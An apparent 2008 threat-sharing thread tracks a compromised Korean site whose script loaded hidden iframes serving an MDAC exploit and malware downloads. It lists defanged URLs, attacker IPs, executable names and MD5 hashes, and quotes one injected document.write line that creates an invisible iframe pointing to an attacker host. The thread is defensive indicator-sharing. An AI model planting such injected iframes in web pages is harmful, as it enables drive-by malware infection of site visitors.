hxxp://www.fpskorea.com/

[pcaccent]

hxxp://www.fpskorea.com/
   hxxp://www.fpskorea.com/js/common.js
      hxxp://222.122.138.124/A.exe

[JohnC]

Thank you.

[philipp]

common.js now loads the following url in an iframe:
hxxp://222.122.138.92/index.htm
which serves an MDAC exploit, downloading:
hxxp://222.122.138.92/UU.exe (md5sum 965583b539fb59b643c7bdd83e269a7e)

after execution, it downloads:
hxxp://www.microsoftmg.com/xxc/ddr.rar (md5sum 648feff7d9cea5e331251dce9cdffc24)
hxxp://www.mgmicrosoft.com/xmfx/help1.rar (md5sum 522707b9255de5d662e2349576f5214b)
hxxp://www.mgmicrosoft.com/xmfx/help.rar (md5sum 648feff7d9cea5e331251dce9cdffc24)

(ddr.rar == help.rar)

[pcaccent]

Thank you philipp

hxxp://www.fpskorea.com/js/common.js
   document.write('<iframe height=0 width=0 src="hxxp://61.100.183.93/index.htm"></iframe>');
      hxxp://61.100.183.93/WV.exe

[pcaccent]

hxxp://www.fpskorea.com/
    hxxp://218.38.28.100/IMG/ad.js
        hxxp://218.38.28.100/IMG/ad.htm
            hxxp://www.icch.or.kr/d/d/on.exe

Aug 19, 2008, 11:30:44 PM(GMT+9)
from Seoul, Korea

[pcaccent]

hxxp://www.fpskorea.com/
   hxxp://www.2bkr.com/css/css.js
      hxxp://www.2bkr.com/css/index.htm
         hxxp://www.2bkr.com/css/down.exe

2bkr.com ip: 118.219.254.17
mydearsister.net ip : 118.219.254.17 // same

[JohnC]

Thank you.